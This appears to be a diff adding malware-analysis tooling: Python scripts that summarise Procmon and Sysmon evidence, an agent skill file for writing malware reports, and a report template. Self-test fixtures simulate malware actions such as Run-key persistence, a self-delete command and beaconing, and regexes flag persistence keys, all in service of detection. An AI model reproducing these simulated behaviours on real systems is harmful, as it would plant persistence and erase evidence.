- Verify correct network adapter selected
- Check malware actually made network requests
- Verify VM network settings
**System Informer can't dump process:**
- Run as Administrator
- Process may be protected
- Try x64dbg or WinDbg instead
**Sysmon not logging:**
- Verify installation: `sc query sysmon64`
- Check config file is valid XML
- View logs: Event Viewer → Sysmon/Operational

View File

@@ -0,0 +1,230 @@
#!/usr/bin/env python3
"""
procmon_summary.py - condense a Procmon CSV export into a behavior summary.
Runs on the host against evidence exported from the analysis VM
(Procmon: File -> Save -> All events -> CSV). Stdlib only.
Usage:
python3 procmon_summary.py procmon.csv --process sample.exe
python3 procmon_summary.py procmon.csv --all # no process filter
python3 procmon_summary.py --self-test
--process takes a comma list of image names (case-insensitive). The summary
covers those processes plus every descendant found via "Process Create".
Without --process (or with --all) every process in the log is included.
Output sections: process tree, files written/renamed/deleted, registry writes
(persistence keys flagged), network endpoints, non-system image loads.
Pipe the output through scripts/ioc_extract.py to get defanged IOCs.
"""
import argparse
import csv
import io
import re
import sys
from collections import defaultdict, OrderedDict
PERSISTENCE_RE = re.compile(
r"CurrentVersion\\(Run|RunOnce|RunServices|Explorer\\(Shell Folders|User Shell Folders))"
r"|CurrentControlSet\\Services\\"
r"|Winlogon\\(Shell|Userinit|Notify)"
r"|Image File Execution Options"
r"|Windows\\CurrentVersion\\Policies\\Explorer\\Run"
r"|Schedule\\TaskCache"
r"|Office\\.*\\Security"
r"|AppInit_DLLs"
r"|Start Menu\\Programs\\Startup",
re.IGNORECASE,
)
SYSTEM_DIR_RE = re.compile(r"^[A-Z]:\\Windows\\", re.IGNORECASE)
PID_RE = re.compile(r"PID:\s*(\d+)")
CMD_RE = re.compile(r"Command line:\s*(.*?)(?:,\s*Current directory:|$)", re.DOTALL)
NEWFILE_RE = re.compile(r"OpenResult:\s*(Created|Overwritten|Superseded)")
def read_text(path):
"""Read exported evidence regardless of PowerShell's default encoding (UTF-16LE with BOM)."""
raw = open(path, "rb").read()
if raw.startswith((b"\xff\xfe", b"\xfe\xff")):
return raw.decode("utf-16", errors="replace")
return raw.decode("utf-8-sig", errors="replace")
def load(path):
return list(csv.DictReader(io.StringIO(read_text(path))))
def field(row, *names):
for n in names:
if n in row and row[n] is not None:
return row[n]
return ""
def build_tree(rows):
"""Return (children: pid -> [pid], info: pid -> (name, cmdline))."""
children = defaultdict(list)
info = {}
for r in rows:
op = field(r, "Operation")
if op == "Process Create":
m = PID_RE.search(field(r, "Detail"))
if not m:
continue
child = m.group(1)
parent = field(r, "PID")
children[parent].append(child)
cmd = CMD_RE.search(field(r, "Detail"))
# name the child from the created image path (the actor row's name is the parent)
created = field(r, "Path")
child_name = created.rsplit("\\", 1)[-1] if created else "?"
info.setdefault(child, [child_name or "?", cmd.group(1).strip() if cmd else ""])
elif op == "Process Start":
pid = field(r, "PID")
cmd = CMD_RE.search(field(r, "Detail"))
info[pid] = [field(r, "Process Name"), cmd.group(1).strip() if cmd else ""]
for r in rows: # fill names for processes seen only as actors
pid = field(r, "PID")
if pid and pid not in info:
info[pid] = [field(r, "Process Name"), ""]
elif pid in info and info[pid][0] == "?":
info[pid][0] = field(r, "Process Name")
return children, info
def descendants(seeds, children):
seen, stack = set(), list(seeds)
while stack:
p = stack.pop()
if p in seen:
continue
seen.add(p)
stack.extend(children.get(p, []))
return seen
def print_tree(pid, children, info, depth, out):
name, cmd = info.get(pid, ("?", ""))
out.append(f"{' ' * depth}{name} (PID {pid})" + (f" {cmd}" if cmd else ""))
for c in children.get(pid, []):
print_tree(c, children, info, depth + 1, out)
def summarize(rows, process_names=None):
children, info = build_tree(rows)
if process_names:
wanted = {n.lower() for n in process_names}
seeds = [pid for pid, (name, _) in info.items() if name.lower() in wanted]
scope = descendants(seeds, children)
roots = seeds
else:
scope = set(info)
all_children = {c for cs in children.values() for c in cs}
roots = [p for p in info if p not in all_children]
files = OrderedDict()
renames, deletes = OrderedDict(), OrderedDict()
reg = OrderedDict()
net = OrderedDict()
loads = OrderedDict()
counts = defaultdict(int)
for r in rows:
pid = field(r, "PID")
if pid not in scope:
continue
op, path, detail = field(r, "Operation"), field(r, "Path"), field(r, "Detail")
who = f"{field(r, 'Process Name')}:{pid}"
counts[who] += 1
if op == "CreateFile" and NEWFILE_RE.search(detail):
files.setdefault(path, who)
elif op == "WriteFile":
files.setdefault(path, who)
elif op == "SetRenameInformationFile":
m = re.search(r"FileName:\s*(.*)$", detail)
renames.setdefault(f"{path} -> {m.group(1) if m else '?'}", who)
elif op in ("SetDispositionInformationFile", "SetDispositionInformationEx") and "True" in detail:
deletes.setdefault(path, who)
elif op in ("RegSetValue", "RegDeleteValue", "RegDeleteKey") or (
op == "RegCreateKey" and "REG_CREATED_NEW_KEY" in detail
):
data = ""
m = re.search(r"Data:\s*(.*)$", detail)
if m:
data = m.group(1)
reg.setdefault(f"{op} {path}" + (f" = {data}" if data else ""), who)
elif op.startswith(("TCP", "UDP")) and "->" in path:
dst = path.split("->", 1)[1].strip()
net.setdefault(f"{op.split()[0]} {dst}", who)
elif op == "Load Image" and not SYSTEM_DIR_RE.match(path):
loads.setdefault(path, who)
out = [f"# Procmon summary ({len(rows)} events, {len(scope)} processes in scope)", "", "## Process tree"]
for root in roots:
print_tree(root, children, info, 0, out)
def section(title, items, limit=200):
out.extend(["", f"## {title} ({len(items)})"])
for i, (k, who) in enumerate(items.items()):
if i >= limit:
out.append(f"... {len(items) - limit} more")
break
out.append(f"- {k} [{who}]")
section("Files created/written", files)
section("Files renamed", renames)
section("Files deleted", deletes)
out.extend(["", f"## Registry writes ({len(reg)})"])
for k, who in reg.items():
flag = " <-- PERSISTENCE" if PERSISTENCE_RE.search(k) else ""
out.append(f"- {k} [{who}]{flag}")
section("Network endpoints", net)
section("Image loads outside C:\\Windows", loads)
out.extend(["", "## Event count per process"])
for who, n in sorted(counts.items(), key=lambda x: -x[1])[:20]:
out.append(f"- {who}: {n}")
return "\n".join(out)
SELF_TEST_CSV = '''"Time of Day","Process Name","PID","Operation","Path","Result","Detail"
"1","explorer.exe","100","Process Create","C:\\Users\\Public\\sample.exe","SUCCESS","PID: 200, Command line: ""C:\\Users\\Public\\sample.exe"" /install"
"2","sample.exe","200","Process Start","","SUCCESS","Parent PID: 100, Command line: ""C:\\Users\\Public\\sample.exe"" /install, Current directory: C:\\Users\\Public\\"
"3","sample.exe","200","CreateFile","C:\\Users\\Bob\\AppData\\Roaming\\svc.exe","SUCCESS","Desired Access: Generic Write, OpenResult: Created"
"4","sample.exe","200","RegSetValue","HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svc","SUCCESS","Type: REG_SZ, Length: 60, Data: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
"5","sample.exe","200","TCP Connect","host.local:49700 -> 203.0.113.5:443","SUCCESS","Length: 0"
"6","sample.exe","200","Process Create","C:\\Windows\\System32\\cmd.exe","SUCCESS","PID: 300, Command line: cmd.exe /c del sample.exe"
"7","cmd.exe","300","SetDispositionInformationFile","C:\\Users\\Public\\sample.exe","SUCCESS","Delete: True"
"8","chrome.exe","999","WriteFile","C:\\Users\\Bob\\cache.dat","SUCCESS","Offset: 0"
'''
def self_test():
rows = list(csv.DictReader(io.StringIO(SELF_TEST_CSV)))
out = summarize(rows, ["sample.exe"])
assert "cmd.exe (PID 300)" in out and " cmd.exe" in out, "child not nested under sample"
assert "svc.exe" in out and "PERSISTENCE" in out, "persistence run key not flagged"
assert "203.0.113.5:443" in out, "network endpoint missing"
assert "cache.dat" not in out, "unrelated process leaked into scope"
assert "Files deleted (1)" in out, "deletion missing"
print("self-test OK")
def main():
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("csv", nargs="?")
ap.add_argument("--process", help="comma list of image names to scope on (plus descendants)")
ap.add_argument("--all", action="store_true", help="include every process")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.csv:
ap.error("csv path required")
names = None if a.all or not a.process else [n.strip() for n in a.process.split(",")]
print(summarize(load(a.csv), names))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,235 @@
#!/usr/bin/env python3
"""
sysmon_summary.py - condense exported Sysmon events into a behavior summary.
Runs on the host against evidence exported from the analysis VM. Stdlib only.
Accepted inputs (auto-detected):
* PowerShell Get-WinEvent ... | Select Id,TimeCreated,Message | ConvertTo-Json (array or single object)
* PowerShell Get-WinEvent ... | Export-Csv (CSV with Id + Message)
* evtx_dump --format jsonl (one {"Event":{"System":..,"EventData":..}} per line)
Usage:
python3 sysmon_summary.py sysmon.json --process sample.exe
python3 sysmon_summary.py sysmon.csv --all
python3 sysmon_summary.py --self-test
Sections: process tree (EID 1), network (EID 3, beacon interval check), DNS (22),
files created (11), registry writes (12/13/14, persistence flagged), remote
threads (8), process access (10), non-Windows image loads (7), pipes (17/18),
WMI (19/20/21), tampering (25). Pipe output through scripts/ioc_extract.py.
"""
import argparse
import csv
import io
import json
import re
import statistics
import sys
from collections import defaultdict, OrderedDict
from datetime import datetime
PERSISTENCE_RE = re.compile(
r"CurrentVersion\\(Run|RunOnce|RunServices|Explorer\\(Shell Folders|User Shell Folders))"
r"|CurrentControlSet\\Services\\|Winlogon\\(Shell|Userinit|Notify)|Image File Execution Options"
r"|Schedule\\TaskCache|AppInit_DLLs|Start Menu\\Programs\\Startup",
re.IGNORECASE,
)
SYSTEM_DIR_RE = re.compile(r"^[A-Z]:\\Windows\\", re.IGNORECASE)
def parse_message(msg):
d = {}
for line in str(msg).replace("\r", "").split("\n"):
k, sep, v = line.partition(": ")
if sep:
d[k.strip()] = v.strip()
return d
def read_text(path):
"""Read exported evidence regardless of PowerShell's default encoding (UTF-16LE with BOM)."""
raw = open(path, "rb").read()
if raw.startswith((b"\xff\xfe", b"\xfe\xff")):
return raw.decode("utf-16", errors="replace")
return raw.decode("utf-8-sig", errors="replace")
def load(path):
"""Yield (event_id:int, data:dict) regardless of export format."""
text = read_text(path).lstrip("\ufeff")
stripped = text.lstrip()
if stripped.startswith(("[", "{")):
try:
obj = json.loads(text)
records = obj if isinstance(obj, list) else [obj]
except json.JSONDecodeError: # jsonl
records = [json.loads(l) for l in text.splitlines() if l.strip()]
for r in records:
if "Event" in r: # evtx_dump
sysm = r["Event"].get("System", {})
eid = sysm.get("EventID")
eid = eid.get("#text", eid) if isinstance(eid, dict) else eid
data = dict(r["Event"].get("EventData") or {})
yield int(eid), data
else:
yield int(r.get("Id", 0)), parse_message(r.get("Message", ""))
else:
for r in csv.DictReader(io.StringIO(text)):
yield int(r.get("Id") or 0), parse_message(r.get("Message", ""))
def beacon_stats(times):
ts = sorted(t for t in times if t)
if len(ts) < 5:
return ""
gaps = [(b - a).total_seconds() for a, b in zip(ts, ts[1:])]
mean = statistics.mean(gaps)
if mean <= 0:
return ""
cv = statistics.pstdev(gaps) / mean
tag = " <-- BEACON-LIKE" if cv < 0.3 else ""
return f" [{len(ts)} conns, mean gap {mean:.0f}s, cv {cv:.2f}]{tag}"
def parse_time(s):
try:
return datetime.strptime(s[:19], "%Y-%m-%d %H:%M:%S")
except (ValueError, TypeError):
return None
def summarize(events, process_names=None):
events = list(events)
children, info = defaultdict(list), {}
for eid, d in events:
if eid == 1:
pid, ppid = d.get("ProcessId", "?"), d.get("ParentProcessId", "?")
info[pid] = (d.get("Image", "?"), d.get("CommandLine", ""))
info.setdefault(ppid, (d.get("ParentImage", "?"), d.get("ParentCommandLine", "")))
children[ppid].append(pid)
if process_names:
wanted = {n.lower() for n in process_names}
seeds = [p for p, (img, _) in info.items() if img.split("\\")[-1].lower() in wanted]
scope, stack = set(), list(seeds)
while stack:
p = stack.pop()
if p not in scope:
scope.add(p)
stack.extend(children.get(p, []))
roots = seeds
else:
scope = None
all_children = {c for cs in children.values() for c in cs}
roots = [p for p in info if p not in all_children]
def in_scope(d):
return scope is None or d.get("ProcessId") in scope or d.get("SourceProcessId") in scope
net, net_times = OrderedDict(), defaultdict(list)
dns, files, reg, threads, access, loads, pipes, wmi, tamper = (OrderedDict() for _ in range(9))
for eid, d in events:
if not in_scope(d):
continue
img = d.get("Image", d.get("SourceImage", "?")).split("\\")[-1]
if eid == 3:
key = f"{d.get('Protocol', '?')} {d.get('DestinationIp', '?')}:{d.get('DestinationPort', '?')}" + (
f" ({d['DestinationHostname']})" if d.get("DestinationHostname") not in (None, "", "-") else ""
)
net.setdefault(key, img)
net_times[key].append(parse_time(d.get("UtcTime", "")))
elif eid == 22:
dns.setdefault(f"{d.get('QueryName', '?')} -> {d.get('QueryResults', '')}", img)
elif eid == 11:
files.setdefault(d.get("TargetFilename", "?"), img)
elif eid in (12, 13, 14):
key = f"{d.get('EventType', '')} {d.get('TargetObject', '?')}" + (
f" = {d['Details']}" if d.get("Details") else ""
)
reg.setdefault(key, img)
elif eid == 8:
threads.setdefault(f"{d.get('SourceImage')} -> {d.get('TargetImage')} @ {d.get('StartAddress')}", img)
elif eid == 10:
access.setdefault(f"{d.get('SourceImage')} -> {d.get('TargetImage')} access {d.get('GrantedAccess')}", img)
elif eid == 7 and not SYSTEM_DIR_RE.match(d.get("ImageLoaded", "")):
loads.setdefault(f"{d.get('ImageLoaded')} signed={d.get('Signed', '?')}", img)
elif eid in (17, 18):
pipes.setdefault(f"{'created' if eid == 17 else 'connected'} {d.get('PipeName')}", img)
elif eid in (19, 20, 21):
wmi.setdefault(f"EID{eid} {d.get('Name', '')} {d.get('Query', '')} {d.get('Destination', '')}".strip(), img)
elif eid == 25:
tamper.setdefault(f"{d.get('Image')} {d.get('Type', '')}", img)
out = [f"# Sysmon summary ({len(events)} events)", "", "## Process tree (EID 1)"]
def tree(pid, depth):
img, cmd = info.get(pid, ("?", ""))
out.append(f"{' ' * depth}{img} (PID {pid})" + (f" {cmd}" if cmd else ""))
for c in children.get(pid, []):
tree(c, depth + 1)
for r in roots:
tree(r, 0)
def section(title, items, extra=None):
out.extend(["", f"## {title} ({len(items)})"])
for k, who in items.items():
out.append(f"- {k} [{who}]" + (extra(k) if extra else ""))
section("Network connections (EID 3)", net, lambda k: beacon_stats(net_times[k]))
section("DNS queries (EID 22)", dns)
section("Files created (EID 11)", files)
section("Registry writes (EID 12/13/14)", reg, lambda k: " <-- PERSISTENCE" if PERSISTENCE_RE.search(k) else "")
section("Remote threads (EID 8)", threads)
section("Process access (EID 10)", access)
section("Image loads outside C:\\Windows (EID 7)", loads)
section("Named pipes (EID 17/18)", pipes)
section("WMI activity (EID 19/20/21)", wmi)
section("Process tampering (EID 25)", tamper)
return "\n".join(out)
SELF_TEST = [
{"Id": 1, "Message": "Process Create:\nUtcTime: 2026-01-01 10:00:00.000\nProcessId: 200\nImage: C:\\Users\\Public\\sample.exe\nCommandLine: sample.exe /install\nParentProcessId: 100\nParentImage: C:\\Windows\\explorer.exe\nParentCommandLine: explorer.exe"},
{"Id": 1, "Message": "Process Create:\nProcessId: 300\nImage: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd /c whoami\nParentProcessId: 200\nParentImage: C:\\Users\\Public\\sample.exe"},
{"Id": 13, "Message": "Registry value set:\nEventType: SetValue\nProcessId: 200\nImage: C:\\Users\\Public\\sample.exe\nTargetObject: HKU\\S-1\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svc\nDetails: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"},
{"Id": 11, "Message": "File created:\nProcessId: 999\nImage: C:\\Program Files\\Chrome\\chrome.exe\nTargetFilename: C:\\Users\\Bob\\cache.dat"},
] + [
{"Id": 3, "Message": f"Network connection detected:\nUtcTime: 2026-01-01 10:0{i}:00.000\nProcessId: 200\nImage: C:\\Users\\Public\\sample.exe\nProtocol: tcp\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: -"}
for i in range(6)
]
def self_test():
import tempfile, os
with tempfile.NamedTemporaryFile("w", suffix=".json", delete=False) as f:
json.dump(SELF_TEST, f)
try:
out = summarize(load(f.name), ["sample.exe"])
finally:
os.unlink(f.name)
assert " C:\\Windows\\System32\\cmd.exe (PID 300)" in out, "child not nested"
assert "PERSISTENCE" in out, "run key not flagged"
assert "BEACON-LIKE" in out, "regular 60s connections not flagged"
assert "cache.dat" not in out, "out-of-scope process leaked"
print("self-test OK")
def main():
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("path", nargs="?")
ap.add_argument("--process", help="comma list of image names to scope on (plus descendants)")
ap.add_argument("--all", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.path:
ap.error("path required")
names = None if a.all or not a.process else [n.strip() for n in a.process.split(",")]
print(summarize(load(a.path), names))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,236 @@
---
name: malware-report-writer
description: Create professional malware analysis reports for enterprise security teams and incident response. Use when you need to write, structure, or improve a malware analysis report, produce executive summaries, author YARA rules, or format IOCs and detection rules for professional delivery.
---
# Malware Report Writer
Create professional, comprehensive malware analysis reports for enterprise security teams, incident response, and threat intelligence.
## Execution Model
- **You write the report.** Read `analysis_state.md` and the evidence directory yourself (triage report, `procmon_summary.txt`, `sysmon_summary.txt`, tshark exports, decoded scripts, detection rule files) and draft every section from that. Ask the user only for what the evidence cannot tell you: engagement name, analyst name, audience, classification/TLP, and gaps you have flagged.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Author the YARA rule from the evidence** (runtime-decrypted strings, unique UA/URI, mutex, PDB path, config markers) and **test it yourself** when `yara` is installed — see **Testing YARA rules**. If it cannot be tested, mark the rule `UNTESTED` in the report; never present an untested rule as validated.
- **Defang at write time.** Run any IOC list through `python3 scripts/ioc_extract.py` (repo root) rather than defanging by hand.
- **Output is a file.** Write `reports/<sample>_report.md` in the user's workspace (create the directory), then print the executive summary and the quality-checklist result. Never leave template placeholders in the delivered file.
- **State what was not done.** Phases skipped, network not observed, packer not defeated — these go in the report's limitations, not silently omitted.
## When to Use This Skill
Use this skill when the user needs to:
- Create a complete malware analysis report from analysis findings
- Structure analysis results into professional documentation
- Write executive summaries for malware samples
- Format IOCs and detection rules for delivery
- Review or improve existing malware reports
- Prepare report documentation for stakeholders
## Quick Start
### Creating a New Report
1. `cat analysis_state.md`; `ls` the evidence and detection directories; read the phase outputs you need
2. Copy `assets/report_template.md` to `reports/<sample>_report.md`
3. Populate each section from the evidence, citing it (file, line, event) so every claim is traceable
4. Author and test the YARA rule; paste Sigma/Suricata rules from `detection-engineer` verbatim
5. Run the Quality Checklist below and `references/best_practices.md`; fix, then deliver
### Report Structure
The standard report includes these sections in order:
1. **Executive Summary** - High-level overview for non-technical stakeholders
2. **Sample Information** - Basic file metadata and hashes
3. **Static Analysis** - File structure, strings, imports/exports, resources
4. **Dynamic Analysis** - Runtime behavior, system changes, network activity
5. **IOCs** - Organized by type (file, network, host indicators)
6. **Detection Rules** - YARA rules and optionally Sigma rules
7. **Malware Classification** - Family, type, capabilities
8. **Remediation and Mitigation** - Actionable response steps
9. **Technical Details** - Additional deep-dive analysis
10. **Conclusion** - Final summary and assessment
11. **References** - External resources and links
12. **Appendix** - Timeline, tools used, screenshots
## Key Principles
### Professional Quality
- Use precise technical language with clear explanations
- Include all three hash types (MD5, SHA1, SHA256)
- Provide full context for every finding
- Document methodology and tools used
- Include timestamps and version information
### Professional Report Requirements
Industry-standard reports require:
- Complete technical documentation of malware samples
- Professional format suitable for enterprise delivery
- Working detection rules based on malware characteristics
- Clear IOCs that can be operationalized
**Critical:** The quality of your report reflects your professionalism. Allocate sufficient time for writing and review.
### Audience Awareness
Structure content for multiple audiences:
- **Executive Summary**: Non-technical decision makers
- **Technical Sections**: Security analysts and researchers
- **IOCs/Detection**: SOC teams and detection engineers
- **Remediation**: Incident responders
## Writing Guidelines
### Executive Summary
- 2-4 paragraphs maximum
- Plain language, minimal jargon
- Answer: What? How critical? What actions?
- Include key findings in bullet points
### Technical Analysis
- Document both positive and negative findings
- Provide evidence for every claim
- Use code blocks for technical artifacts
- Include screenshots when they add value
- Connect behaviors to specific evidence
### IOCs Section
**Format:**
- Group by type (file, network, host)
- Include context for each indicator
- Provide confidence levels if uncertain
- Test IOCs for accuracy before including
**Defanging (required):** All IOCs in reports MUST be defanged to prevent accidental activation:
- URLs: `http` → `hxxp`, `https` → `hxxps` (e.g., `hxxps://malicious[.]example[.]com/payload`)
- Domains: bracket the dot before the TLD (e.g., `evil[.]com`, `sub.domain[.]net`)
- Email addresses: `@` → `[@]` (e.g., `attacker[@]evil[.]com`)
- IP addresses: bracket each dot separator (e.g., `192[.]168[.]1[.]1`)
**Avoid:**
- Environment-specific artifacts
- Personal/analyst system information
- Common legitimate values
- Untested indicators
### Detection Rules
**YARA Rules:**
- Test against sample (must detect)
- Test against clean files (must not false positive)
- Include metadata: author, date, description, hash
- Use meaningful string and variable names
- Add comments explaining detection logic
- Set appropriate conditions to balance detection and false positives
**Testing YARA rules** (run these; paste the results into the report's detection section):
```bash
command -v yara || echo "yara not installed: pip install yara-python / apt install yara — mark rule UNTESTED"
yara -w -s detections/yara/family.yar samples/sample.exe # must match; -s shows which strings hit
yara -w -s detections/yara/family.yar samples/unpacked.exe # and the unpacked/dropped stages
yara -w -r detections/yara/family.yar /usr/lib /usr/bin clean/ 2>/dev/null | head # must print nothing (clean corpus; add a Windows clean dir if available)
```
A rule that matches only on strings present in the packed sample is a hash in disguise; prefer runtime-decrypted strings, config markers, mutexes, and code patterns, and require `2 of them` or more with a `filesize` bound.
**Best practices:**
```yara
rule Malware_Family_Variant {
meta:
description = "Detects Malware_Family based on C2 configuration"
author = "Analyst Name"
date = "2025-10-25"
hash = "abc123..."
reference = "Internal analysis"
strings:
$c2_config = { 48 8B ?? ?? ?? ?? ?? 48 8D ?? ?? } // Config access pattern
$ua_string = "Mozilla/4.0 (Suspicious UA)" ascii
$mutex = "Global\\UniqueMalwareMutex" wide
condition:
uint16(0) == 0x5A4D and // MZ header
filesize < 2MB and
2 of them
}
```
### Common Mistakes to Avoid
- Over-relying on automated tool output without interpretation
- Listing findings without explaining significance
- Missing critical hashes or file metadata
- Weak or untested detection rules
- Vague remediation recommendations
- Poor grammar/spelling
- Inconsistent formatting
- Environment-specific artifacts in IOCs
## Best Practices Reference
For detailed guidance on report quality, writing style, and common pitfalls, see `references/best_practices.md`.
Key topics covered:
- Report writing principles (clarity, completeness, objectivity)
- Structure guidelines for each section
- IOC quality standards
- Detection rule best practices
- Audience considerations
- Quality checklist
- Efficient workflow strategies
## Quality Checklist
Before submitting any report, verify:
**Technical Accuracy:**
- [ ] All three hash types included and verified
- [ ] File paths are complete and accurate
- [ ] Timestamps include timezone
- [ ] Process IDs included for process activity
- [ ] Tool versions documented
**Detection Rules:**
- [ ] YARA rules tested against sample (detects correctly)
- [ ] YARA rules tested against clean files (no false positives)
- [ ] Rules include complete metadata
- [ ] Conditions are appropriate and not over-matching
**IOCs:**
- [ ] Grouped by type (file, network, host)
- [ ] Context provided for each IOC
- [ ] All IOCs defanged (hxxp/hxxps, [.] for domains and IPs, [@] for email)
- [ ] No environment-specific artifacts
- [ ] All IOCs validated
**Report Quality:**
- [ ] Executive summary is non-technical and actionable
- [ ] All sections completed
- [ ] Grammar and spelling checked
- [ ] Consistent formatting throughout
- [ ] Evidence supports all claims
- [ ] Remediation steps are specific and prioritized
**Professional Standards:**
- [ ] Report is professional and enterprise-ready
- [ ] Detection rules work and are well-documented
- [ ] Technical details demonstrate thorough analysis
- [ ] Report answers: What is it? What does it do? How to detect? How to remove?
## Output Format
Create reports in Markdown format using the template structure. For professional delivery:
1. Create report in Markdown using the template
2. Convert to PDF for professional appearance (if required)
3. Ensure all sections are complete
4. Include any screenshots as appendix items
5. Verify detection rules are included and tested
## Example Usage
**User request:** "Write the report for the ransomware sample"
**What you do:**
1. Read `analysis_state.md`, the triage report, dynamic summaries, and the Sigma/Suricata files already created.
2. Copy the template to `reports/<sample>_report.md`; fill all 12 sections from evidence, citing sources.
3. Write the YARA rule from runtime strings / ransom-note markers / mutex; run `yara` against the sample and a clean corpus; record the result.
4. Defang the IOC section with `ioc_extract.py`; remove lab artifacts.
5. Write remediation ordered by urgency (isolate → block C2 → remove persistence → recover), and the limitations section.
6. Run the Quality Checklist; ask the user only for analyst name, audience, and any gap you could not close.
7. Print the executive summary and the file path.

View File

@@ -0,0 +1,298 @@
# Malware Analysis Report
**Analyst:** [Your Name]
**Date:** [Analysis Date]
**Sample Hash (SHA256):** [Hash]
**Report ID:** [Unique ID]
---
## Executive Summary
[2-3 paragraph high-level summary suitable for non-technical stakeholders]
**Key Findings:**
- **Malware Family:** [Family name or "Unknown"]
- **Threat Level:** [Critical/High/Medium/Low]
- **Primary Functionality:** [Brief description]
- **Recommended Actions:** [Immediate actions needed]
---
## Sample Information
| Field | Value |
|-------|-------|
| **Filename** | [Original filename] |
| **File Size** | [Size in bytes/KB/MB] |
| **File Type** | [PE32/PE64/Script/Document/etc] |
| **MD5** | [MD5 hash] |
| **SHA1** | [SHA1 hash] |
| **SHA256** | [SHA256 hash] |
| **First Seen** | [Date/Time or "Unknown"] |
---
## Static Analysis
### File Header Analysis
**PE Structure:**
- **Architecture:** [x86/x64/ARM]
- **Compilation Timestamp:** [Date/Time]
- **Entry Point:** [Address]
- **Sections:** [Number and names]
**Packing/Obfuscation:**
- **Packed:** [Yes/No]
- **Packer Identified:** [Name or "Unknown"]
- **Entropy:** [Value - High entropy suggests packing/encryption]
### Strings Analysis
**Notable Strings:**
- [Key strings that indicate functionality, URLs, file paths, registry keys]
- [Decoded/deobfuscated strings if applicable]
### Import/Export Analysis
**Key Imports:**
- [DLL name]: [Notable functions that indicate malicious behavior]
- [Example: kernel32.dll: CreateRemoteThread, VirtualAllocEx (process injection)]
- [Example: ws2_32.dll: socket, connect, send (network communication)]
**Exports:**
- [List any exported functions]
### Resource Analysis
**Embedded Resources:**
- [Icons, images, additional executables, configuration data]
- [Any suspicious or high-entropy resources]
---
## Dynamic Analysis
### Behavioral Analysis
**Execution Environment:**
- **Operating System:** [Windows version, architecture]
- **Analysis Tools:** [List tools used: Process Monitor, Wireshark, etc.]
- **Analysis Duration:** [Time period]
### Process Activity
**Process Creation:**
- [Parent process → Child processes]
- [Process injection or hollowing detected]
**Command Line Arguments:**
- [Any command line execution observed]
### File System Activity
**Files Created/Modified:**
- [Path]: [Purpose/Description]
- [Path]: [Purpose/Description]
**Files Deleted:**
- [List any files deleted]
### Registry Activity
**Registry Keys Created/Modified:**
- [Registry path]: [Value and purpose]
- [Persistence mechanisms identified]
**Notable Registry Operations:**
- [Any suspicious registry behavior]
### Network Activity
**DNS Queries:**
- [Domain]: [IP resolved]
- [Suspicious or newly registered domains]
**Network Connections:**
- **Protocol:** [TCP/UDP/HTTP/HTTPS]
- **Remote Address:** [IP:Port]
- **Purpose:** [C2 communication/Data exfiltration/Download additional payload]
**Network Indicators:**
- [User-Agent strings]
- [URI patterns]
- [HTTP headers]
### System Changes
**Mutex Creation:**
- [Mutex names - used to prevent multiple infections]
**Service Installation:**
- [Service name, display name, description]
**Scheduled Tasks:**
- [Task name and trigger]
---
## Indicators of Compromise (IOCs)
> **Note:** All network and host IOCs MUST be defanged before inclusion in this report.
> Defanging rules: URLs use `hxxp`/`hxxps`; domains bracket the dot before the TLD (`evil[.]com`);
> IP addresses bracket each dot (`192[.]168[.]1[.]1`); email addresses replace `@` with `[@]`.
### File Indicators
```
MD5: [hash]
SHA1: [hash]
SHA256: [hash]
Filename: [name]
File Size: [size]
```
### Network Indicators
```
IP Addresses:
[192.168.1.1] → 192[.]168[.]1[.]1 - [Purpose/Description]
Domains:
[domain.com] → domain[.]com - [Purpose/Description]
URLs:
[https://example.com/path] → hxxps://example[.]com/path - [Purpose/Description]
```
### Host Indicators
```
Registry Keys:
[Registry path]
File Paths:
[File path]
Mutex Names:
[Mutex name]
Service Names:
[Service name]
```
---
## Detection Rules
### YARA Rule
```yara
rule [RuleName]_[MalwareFamily] {
meta:
description = "[Brief description]"
author = "[Your name]"
date = "[Date]"
hash = "[Sample SHA256]"
strings:
$string1 = "[hex or text pattern]" [modifiers]
$string2 = "[hex or text pattern]" [modifiers]
$api1 = "[API call pattern]"
condition:
[Condition logic - e.g., uint16(0) == 0x5A4D and filesize < 500KB and all of ($string*)]
}
```
### Sigma Rule (Optional - for behavioral detection)
```yaml
title: [Detection Name]
id: [generate a unique UUID, e.g. a1b2c3d4-e5f6-7890-abcd-ef1234567890]
status: experimental
description: [What behavior this detects]
references:
- [URLs or references]
author: [Your Name]
date: [YYYY-MM-DD]
tags:
- attack.[tactic] # e.g. attack.execution
- attack.t[XXXX].[YYY] # e.g. attack.t1059.001
logsource:
category: [process_creation/network_connection/etc]
product: windows
detection:
selection:
[Field]: [Value]
condition: selection
falsepositives:
- [Potential false positives]
level: [critical/high/medium/low]
```
---
## Malware Classification
**Family:** [Malware family name or "Unknown"]
**Type:** [Trojan/Ransomware/Worm/RAT/Backdoor/Dropper/Loader/etc]
**Capabilities:**
- [Capability 1 - e.g., Data exfiltration]
- [Capability 2 - e.g., Remote access]
- [Capability 3 - e.g., Keylogging]
---
## Remediation and Mitigation
### Immediate Actions
1. [Isolate infected systems]
2. [Block network IOCs at firewall/proxy]
3. [Search for other instances using IOCs]
### Long-term Recommendations
1. [Update endpoint protection signatures]
2. [Deploy detection rules]
3. [Review and strengthen security controls]
4. [User awareness training if applicable]
### Recovery Steps
